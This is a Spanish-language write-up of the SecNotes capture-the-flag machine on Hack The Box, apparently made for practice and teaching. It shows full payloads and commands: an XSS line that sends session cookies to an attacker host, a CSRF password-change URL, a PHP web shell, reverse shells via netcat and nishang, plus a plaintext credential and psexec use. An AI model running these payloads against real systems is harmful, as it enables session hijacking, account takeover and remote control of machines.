SecNotes - Hack The Box
En esta ocasión vamos a estar resolviendo la máquina SecNotes de Hack The Box. Es una máquina Windows de nivel de dificultad medio en la intrusión, y medio en la escalada de privilegios según figura en la plataforma.
Fase De Reconocimiento
Primeramente vamos a lanzar una traza ICMP para saber si la máquina está activa.
ping -c 1 10.10.10.97
Una vez comprobamos que la máquina está activa (pues nos devuelve una respuesta), podemos también determinar a que tipo de máquina nos estamos enfrentando en base al valor del TTL; en este caso el valor del TTL de la máquina es 127
, por lo que podemos intuir que estamos ante una máquina Windows. Recordemos que algunos de los valores referenciales son los siguientes:
Sistema Operativo (OS) | TTL |
---|---|
Linux | 64 |
Windows | 128 |
Solaris | 254 |
Si nos damos cuenta, en esta ocasión, el valor del TTL es 127
y no 128
como indica la tabla anterior, esto se debe a que en el entorno de máquinas de Hack The Box, no nos comunicamos directamente con la máquina a vulnerar, sino que existe un nodo intermediario, por lo que el TTL disminuye en una unidad.
ping -c 1 10.10.10.97 -R
Posteriormente, vamos a utilizar la herramienta Nmap para determinar que puertos están abiertos, así como identificar la versión y servicios que corren en el activo. Para determinar que puertos están abiertos podemos realizar lo siguiente:
nmap -p- --open -T5 -v -n 10.10.10.97
En caso de que el escaneo tarde demasiado en completar, tenemos esta otra alternativa:
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.97
A continuación se explican los parámetros utilizados en el escaneo de puertos con Nmap:
Parámetro | Explicación |
---|---|
-p- | Escanea todo el rango de puertos (65535 en total) |
--open | Nos indica todos aquellos puertos que están abiertos (o posiblemente abiertos) |
-T5 | La plantilla de temporizado nos permite agilizar nuestro escaneo, este valor puede ir desde 0 hasta 5, cabe aclarar que a mayor sea el valor de la plantilla, “generaremos más ruido”, pero no pasa nada ¿no? Al fin y al cabo estamos practicando en un entorno controlado y aquí somos todos White Hat |
-v | Verbose, reporta lo encontrado por consola |
-n | No aplicar resolución DNS |
-sS | Escaneo TCP SYN |
-min-rate | Emitir paquetes no más lentos que <valor> por segundo |
-vvv | Triple verbose, para obtener mayor información por consola |
-Pn | No aplicar host discovery |
Una vez hemos detectado los puertos que se encuentran abiertos en el activo, podemos pasar a determinar la versión y servicios que corren bajo estos puertos.
nmap -sC -sV -p 80,445,8808 10.10.10.97
A continuación se explican los parámetros utilizados en el escaneo de versiones y servicios con Nmap:
Parámetro | Explicación |
---|---|
-sC | Scripts básicos de enumeración |
-sV | Versión y servicios que corren bajo los puertos encontrados |
-p | Especificamos que puertos queremos analizar (los que encontramos abiertos en el paso anterior) |
Basándonos en la información que nos reporta Nmap, podemos darnos cuenta que la máquina víctima tiene abiertos puertos relacionados con HTTP
, así como con SMB
(Server Message Block).
Empezando por el puerto 80
y 8808
podemos ver que ambas páginas están montadas sobre IIS
(Internet Information Services), un servidor web para Microsft Windows.
Echemos un vistazo desde WhatWeb
, una herramienta que se encarga de identificar las tecnologías web que se están empleando, véase gestores de contenido (CMS), librerias o plugins, o finalmente el sistema operativo que se está utilizando para alojar el servidor web.
whatweb http://10.10.10.97
whatweb http://10.10.10.97:8808
No hay nada que llame especialmente nuestra atención, más que el redireccionamiento que realiza la primera página hacia lo que parece ser un panel de login, y el título de la segunda página web que es el que viene por defecto al montarla con IIS
.
En vista de que ya no nos es posible trabajar desde la terminal, tendremos que visitar estas páginas desde nuestro navegador.
Lo primero que nos puede venir a la mente al ver un panel de login, sería probar credenciales por defecto, sin embargo este no va a ser el caso.
Algo interesante que voy a comentar solo como curiosidad, es que si ingresamos un nombre de usuario que no existe en el sistema, la página nos devolverá el siguiente mensaje.
Algo que resulta crítico, ya que teniendo control sobre este mensaje, podemos aplicar fuerza bruta sobre el campo Username
para descubrir usuarios válidos.
Esto sería fácil de ejecutar teniendo a mano herramientas como Wfuzz
y diccionarios como SecLists, que nos provee entre tantas cosas, un diccionario dedicado a nombres de usuario comunes.
sudo apt install wfuzz
git clone https://github.com/danielmiessler/SecLists
wfuzz -c -L -t 400 --hs "No account found with that username." -w /ruta/del/diccionario/SecLists/Usernames/Names/names.txt -d "username=FUZZ&password=noConocemosLaContraseña" http://10.10.10.97
Parámetro | Explicación |
---|---|
-c | Output colorizado |
-L | Sigue las redirecciones HTTP, de modo que conseguimos el código de estado final verdadero |
-t | Específicamos el número de hilos con el queremos trabajar |
--hs | Oculta las respuestas con la expresión regular que indiquemos, en este caso controlamos el mensaje de error |
-w | Especificamos el diccionario con el que queremos trabajar |
-d | Especificamos la petición por POST |
En caso de que aplicasemos fuerza bruta sobre este campo, descubriríamos que el usuario tyler
existe dentro del sistema, por lo que ahora tendríamos que aplicar fuerza bruta sobre el campo Password
, para lo cual ya no tendremos tanta suerte, ya que como veremos más adelante, su contraseña es bastante robusta, por lo que no es suceptible a ataques por diccionario.
Respecto a la segunda página no hay prácticamente nada que podamos hacer, por el momento, al menos.
Fase De Explotación
La máquina SecNotes cuenta con dos vías potenciales para realizar la intrusión, una vía Inyecciones SQL y otra vía CSRF (Cross-Site Request Forgery).
Cross-Site Request Forgery
En vista de que las credenciales por defecto no funcionaron, podemos hacer lo que haría un usuario normal, registrarnos, no todo se trata de romper.
Una vez hemos creado una cuenta, podemos logearnos, y veremos un panel bastante sencillo, pero donde destaca un nombre, tyler
, un posible usuario potencial, que como mencioné antes, podíamos haberlo descubierto por fuerza bruta.
Por otra parte, vemos que la página nos permite crear una serie de notas, hagámoslo.
Vemos que el mecanismo de la página es bastante simple, pero si durante el desarrollo de la misma, no se tuvo en consideración ningún tipo de seguridad, quizá esta sea vulnerable a algo tan básico como confiar plenamente en el input del usuario.
Intentemos ya algo no intencionado como una inyección HTML.
En el campo Title podemos escribir cualquier cosa, aunque perfectamente podría ser la inyección, y en el campo Note, colocaremos lo siguiente:
<h1>Una frase cualquiera</h1>
De este modo el texto que introduzcamos cambiará su formato al de header 1.
O por ejemplo, podemos hacer que nuestro texto se desplace:
<marquee>Una frase cualquiera</marquee>
Vemos que como atacantes, tenemos la capacidad de inyectar código al propio código fuente de la página web. ¿Qué tal si probamos ahora un XSS (Cross-Site Scripting)?
Igual que antes, en el campo Title podemos escribir cualquier cosa, y en el campo Note, colocaremos lo siguiente:
<script>alert("Una frase cualquiera")</script>
Podemos observar que cada vez que la página web se recarga, aparece un mensaje con el texto que indicamos anteriormente.
¿Qué tal si en vez de mostrar por pantalla una frase cualquiera, listamos mejor información relevante como la cookie de sesión?
<script>alert(document.cookie)</script>
Una vez comprobamos que tenemos la capacidad de visualizar nuestra propia cookie de sesión a través de ventanas emergentes (pop-ups), podemos empezar a esbozar una posible vía potencial para la intrusión.
Podemos intentar efectuar un Cookie Hijacking
, ya que secuestrando la cookie de sesión de otro usuario, si este tiene su sesión abierta, podríamos ‘logearnos’ sin proporcionar credenciales, únicamente el valor de su cookie.
Adicionalmente, tenemos que pensar en una forma de obtener el valor de la cookie directamente en nuestro equipo de atacantes, ya que de momento, estas ventanas solo son visibles por los usuarios cuando están en su panel de inicio, además de que llaman bastante la atención. Para ello, haremos uso de un Blind XSS.
Empezaremos por crear un servidor con Python
, en el cual recibiremos las cookies de los usuarios cada que estos refresquen, o se encuentren en su panel de inicio.
sudo python3 -m http.server 80
A continuación, crearemos una nota con el siguiente mensaje:
<script>document.write('<img src="http://nuestraDirecciónIP:80/cookie=' + document.cookie + '">')</script>
En vista de que recibimos nuestra propia cookie de sesión directamente en nuestro equipo, sería solo cuestión de tiempo para hacernos con las cookies de otros usuarios, si los existiera, claro está.
Por obvias razones no existen más clientes que interactuen con el servidor web, a excepción de uno. Si recordamos, el mensaje inicial que aparecía en la página, mencionaba que nos pongamos en contacto con tyler
a través del botón Contact Us; así que lo primero que haremos sera comprobar si este lee nuestros mensajes, para ello le enviaremos un url que apunte a nuestra máquina.
Es importante mencionar que no podemos ocultar nuestro url con href, acortadores, iframe o algún otro método, ya que al ser un usuario simulado, este no lo gestiona muy bien. Por su parte, un usuario real, a no ser a que tenga nulos conocimientos de seguridad informática, abriría un enlace que le envía un total desconocido.
Sin cerrar nuestro servidor hosteado con Python
, a través del botón Contact Us, enviaremos el siguiente mensaje para confirmar si tyler
lee nuestros mensajes:
http://nuestraDirecciónIP:80/tylerEstáPresente
Vemos que conseguimos una petición por GET por parte de la máquina víctima, por lo que asumimos que este lee nuestros mensajes. Ya con esto podemos pensar que tenemos una posible vía potencial para hacernos con la cookie del usuario. Por lo cual, enviaremos el siguiente mensaje:
<script>document.write('<img src="http://nuestraDirecciónIP:80/cookie=' + document.cookie + '">')</script>
Para nuestra sorpresa, esto no funciona, así que tendremos que buscar otra alternativa.
Investigando un poco más la página web, si decidimos cambiar nuestra contraseña, nos daremos cuenta que la página no nos solicita nuestra contraseña anterior, o algún otro método de verificación en dos pasos.
Adicionalmente, si revisamos esta petición con Burp Suite
, nos daremos cuenta que no existe algún tipo de CSRF Token, por lo que en principio, podríamos modificar esta petición a nuestro antojo.
Lo que haremos será cambiar esta petición que se está tramitando por POST, a GET. De modo que no haya que proporcionar los campos Password
y Confirm Password
de forma manual, los proporcionaremos a través de la propia URL.
Para ello, desde Burp Suite
, habiendo capturado la petición del cambio de contraseña, simplemente haremos clic derecho, Change request method, y copiaremos la nueva petición por GET.
De esta manera, si añadimos http://10.10.10.97 al inicio de la petición que acabamos de copiar, generaremos un URL capaz de cambiar contraseñas a través del método GET; probémoslo.
Posteriormente, proseguiremos a logearnos con la contraseña que establecimos en el URL.
Ya una vez dentro, encontraremos una nota, con lo que parece ser un usuario y contraseña para un recurso compartido; si recordamos de nuestro escaneo con Nmap, el puerto 445
estaba abierto.
SQL Injection
Otro vector a considerar al encontrarnos frente a un panel de login sería probar Inyecciones SQL con las cuales bypassear el panel.
Al igual que cuando aplicamos fuerza bruta sobre el campo Username
, podemos ayudarnos de un diccionario como el mismo SecLists, el cual contiene una buena cantidad de expresiones que podemos probar.
Habiendo bypasseado el panel de login llegaremos igualmente a las credenciales del recurso compartido a nivel de red, con la diferencia que tenemos acceso a las notas de todos los usuarios, no únicamente tyler
.
Independientemente de como nos hayamos hecho con las credenciales, podemos empezar a analizar el recurso con SMBMap
.
smbmap -H 10.10.10.97 -u 'tyler' -p '92g!mA8BGj0irkL%0G*&'
Podemos observar que tenemos permiso de lectura y escritura sobre el recurso new-site
, echemos un vistazo de manera recursiva sobre este.
smbmap -H 10.10.10.97 -u 'tyler' -p '92g!mA8BGj0irkL%0G*&' -R 'new-site'
A partir de este punto empezaremos a trabajar con smbclient
, ya que nos resultará mucho más cómoda su interfaz de línea de comandos (CLI).
smbclient //10.10.10.97/new-site -U 'tyler'
Para saber de que se trata el contenido dentro del recurso new-site
podemos descargarlo en nuestra máquina con el comando get
, aunque podemos también intuirlo en base al nombre de los archivos, IIS
.
get iisstart.htm
get iisstart.png
Rápidamente nos daremos cuenta que estamos frente al contenido de la segunda página web, alojada en el puerto 8808
; por lo que, dada nuestra capacidad de escritura sobre el recurso, deberíamos de poder subir contenido que se vea reflejado en el servidor web.
Empecemos por subir algo simple como una web shell
.
<?php
echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>
put cmd.php
Una vez subida, desde nuestro navegador, podemos acceder a ella añadiendo /cmd.php?cmd=comando al url.
Podemos ejecutar ipconfig para corroborar que nos encontramos dentro de la máquina víctima.
O whoami para determinar que usuario somos.
Ya a partir de este punto, lo que nos interesa como atacantes, es ganar acceso al sistema a través de una consola propiamente, para lo cual tenemos dos opciones:
Podemos usar Netcat, para lo cual descargaremos la última versión y subiremos al servidor web el ejecutable.
put nc64.exe
Nos pondremos en escucha a través del puerto que determinemos.
sudo nc -nlvp <puertoCualquiera>
Para finalmente a través del navegador añadir lo siguiente al url.
/cmd.php?cmd=nc64.exe -e cmd <nuestraDirecciónIP> <puertoCualquiera>
O por su parte podemos usar Invoke-PowerShellTcp
de nishang, para lo cual descargaremos el script.
wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
Añadimos la siguiente línea al final del script.
Invoke-PowerShellTcp -Reverse -IPAddress <nuestraDirecciónIP> -Port <puertoCualquiera>
Lo subimos al servidor web.
put Invoke-PowerShellTcp.ps1
Nos ponemos en escucha a través del puerto que determinamos anteriormente.
sudo nc -nlvp <puertoCualquiera>
Para finalmente a través del navegador añadir lo siguiente al url.
/cmd.php?cmd=powershell -ep bypass .\Invoke-PowerShellTcp
Escalada De Privilegios
Si empezamos a enumerar el sistema, nos daremos cuenta que dentro del Disco Local C existe un archivo Ubuntu.zip
así como una carpeta que lleva por nombre Distros
, interesante.
Si volvemos a revisar dentro del directorio del usuario tyler
encontraremos un acceso directo a lo que parece ser una bash
, echémosle un vistazo.
type bash.lnk
De lo poco que es legible, podemos observar que tenemos en el sistema una bash, ubicada en la ruta C:\Windows\System32.
Esto significa que estamos frente a un Windows Subsystem for Linux
(WSL). Una característica que introdujo Windows para poder ejectuar entornos Linux sin la necesidad de usar una máquina virtual o realizar un dual-boot.
Podemos corroborar esto si listamos el directorio C:\Users\tyler\AppData\Local\Packages, dónde se almacenan los datos de las distribuciones para WSL.
Tal y como encontramos inicialmente, nos hallamos frente a un subsistema Ubuntu
.
Veamos si encontramos algo dentro del WSL, para ello podemos abrir la bash bien desde el acceso directo o su ruta absoluta.
Podemos ver que directamente somos el usuario root por lo que en principio tenemos máximos privilegios. Además, podemos observar que nos encontramos en la ruta /mnt/c/Users/tyler/Desktop.
whoami
pwd
Por lo que, deberíamos poder movernos a través de los disintos directorios de los demás usuarios.
ls /mnt/c/Users
Sin embargo, al querer acceder al directorio del usuario Administrator salta un error, por lo que, la solución no es por aquí.
Si nos dirigimos a nuestro directorio como usuario root, encontraremos el archivo .bash_history
, nuestro histórico de comandos.
cd /root
ls -la
cat .bash_history
Dentro del cual, encontraremos en texto plano las credenciales del usuario Administrator
.
A partir de este punto, podemos volver a conectarnos a la máquina víctima a través de smbclient
pero ahora como el usuario Administrator
y proporcionando su contraseña.
smbclient //10.10.10.97/C$ -U Administrator
Esto nos permitirá acceder al recurso compartido C$
, que representa el disco local C de la máquina. Desde ahí, podremos movernos por los diferentes directorios hasta localizar la flag y descargarla a nuestro equipo utilizando el comando get
.
Alternativamente, podemos optar por usar impacket-psexec
para ejecutar comandos en la máquina víctima directamente como el usuario Administrator
:
impacket-psexec administrator@10.10.10.97